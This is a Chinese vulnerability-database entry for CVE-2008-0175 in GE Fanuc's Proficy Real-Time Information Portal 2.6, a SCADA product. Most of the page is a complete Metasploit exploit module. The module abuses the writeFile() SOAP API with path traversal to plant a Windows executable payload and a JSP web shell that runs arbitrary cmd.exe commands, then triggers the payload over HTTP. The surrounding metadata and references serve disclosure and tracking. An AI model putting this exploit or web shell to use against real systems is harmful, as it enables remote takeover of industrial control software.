GE Fanuc Proficy Real-Time Information Portal远程代码执行漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116599 漏洞类型 设计错误
发布时间 2008-11-01 更新时间 2008-11-04
CVE编号 CVE-2008-0175 CNNVD-ID CNNVD-200801-409
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6921
https://www.securityfocus.com/bid/27446
https://cxsecurity.com/issue/WLB-2008010089
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200801-409
|漏洞详情
GEFanucProficyReal-TimeInformationPortal存在未明文件上传漏洞。远程攻击者可以通过上传一个文件来执行任意代码。该文件包含一个可以扩展到主要的虚拟目录的扩展名。
|漏洞EXP
##
# $Id: hooked_on_fanucs.rb
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##


require 'msf/core'
require 'soap/rpc/driver'
require 'soap/filter'

# Must have httpaccess2 for this to work
class CookieFilter < SOAP::Filter::StreamHandler
 attr_accessor :cookie_value

 def initialize
   @cookie_value = nil
 end

 def on_http_outbound(req)
   req.header['Cookie'] = @cookie_value if @cookie_value
 end

 def on_http_inbound(req, res)
   cookie = res.header['Set-Cookie'][0]
   cookie.sub!(/;.*\z/, '') if cookie
   @cookie_value = cookie
 end
end

class Metasploit3 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Tcp
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Hooked on Fanucs - GE Fanuc Real Time Information Portal 2.6 writeFile() API exploit',
			'Description'    => %q{
					This module exploits an API flaw in GE Fanuc SCADA software 
			},
			'Author'         => [ 'kf <kf_lists[at]digitalmunition.com>' ],
			'Version'        => '$Revision: 1 $',
			'References'     => 
				[
					['CVE', '2008-0175'],
					['URL', 'http://support.gefanuc.com/support/index?page=kbchannel&id=KB12460'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Targets'        =>
                                [
                                        [ 'GE Fanuc Real Time Information Portal 2.6', { 'Payload' => { 'Space' => 4000 } } ],
                                ],
                        'DefaultTarget'  => 0,
			'Platform'       => 'win',
			'Privileged'     => false
			))

			register_options(
                        [
                                Opt::RPORT(80)
                        ], self.class)

	end

	def exploit

		namespace = 'urn:iFixWeb'
		endpoint = 'http://' + datastore['RHOST'] + '/infoAgentSrv/iFixWeb'  # CHANGE THIS
		proxy    = SOAP::RPC::Driver.new(endpoint,namespace)
		proxy.streamhandler.filterchain << CookieFilter.new
		proxy.wiredump_dev = STDERR # Enable this for XML output

		# Various functions to play with...
		proxy.add_method('writeFile', 'writeFile', 'p2', 'p3')
		proxy.add_method('login', 'login', 'p2', 'p3', 'p4')
		proxy.add_method('logout')
		proxy.add_method('getFileList', 'getFileList', 'p2')
		proxy.add_method('deleteFile', 'deleteFile', 'p2')

		proxy.login('blarg', Rex::Text.encode_base64("BBBBBBBBBBB",''), 'zzzzzzzzz',true)
	    
                bin = Rex::Text.to_win32pe(payload.encoded, '')
                cmd =  Rex::Text.encode_base64(bin,'')

		proxy.writeFile('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe',cmd,false)
		proxy.getFileList('..\\..\\..\\..\\..\\..\\..\\..\\.\\..\\pwn.exe', 1)

		jspshell = '<FORM METHOD=GET ACTION=\'jspshell.jsp\'>
		<INPUT name=\'cmd\' type=text>
		<INPUT type=submit value=\'Run\'>
		</FORM>
		<%@ page import="java.io.*" %>
		<%
			String cmd = request.getParameter("cmd");
			String output = "";
			if(cmd != null) {
				String s = null;
				try {
					Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
					BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
					while((s = sI.readLine()) != null) {
						output += s;
					}
				}
				catch(IOException e) {
					e.printStackTrace();
				}
			}
		%>
		<pre>
		<%=output %>
		</pre>'

		proxy.writeFile('jspshell.jsp', Rex::Text.encode_base64(jspshell,''),false)
		proxy.logout	
	   
		connect
		print_status("Hooked on Fanucs works for me!")
                sock.put("GET /infoAgentSrv/jspshell.jsp?cmd=c:\\pwn.exe HTTP/1.0\r\n\r\n")

		handler

                disconnect

                              
	end

end

# milw0rm.com [2008-11-01]
|受影响的产品
GE Fanuc Proficy Real-Time Information Portal 2.6 GE Fanuc Proficy Real-Time Information Portal 0
|参考资料

来源:SECTRACK
名称:1019274
链接:http://www.securitytracker.com/id?1019274
来源:BID
名称:27446
链接:http://www.securityfocus.com/bid/27446
来源:BUGTRAQ
名称:20080125C4SecurityAdvisory-GEFanucProficyInformationPortal2.6ArbitraryFileUploadandExecution
链接:http://www.securityfocus.com/archive/1/archive/1/487079/100/0/threaded
来源:support.gefanuc.com
链接:http://support.gefanuc.com/support/index?page=kbchannel&id=KB12460
来源:SECUNIA
名称:28678
链接:http://secunia.com/advisories/28678
来源:BUGTRAQ
名称:20080129Re:C4SecurityAdvisory-GEFanucProficyInformationPortal2.6ArbitraryFileUploadandExecution
链接:http://www.securityfocus.com/archive/1/archive/1/487242/100/0/threaded
来源:VUPEN
名称:ADV-2008-0307
链接:http://www.frsirt.com/english/advisories/2008/0307/references
来源:SREASON
名称:3591
链接:http://securityreason.com/securityalert/3591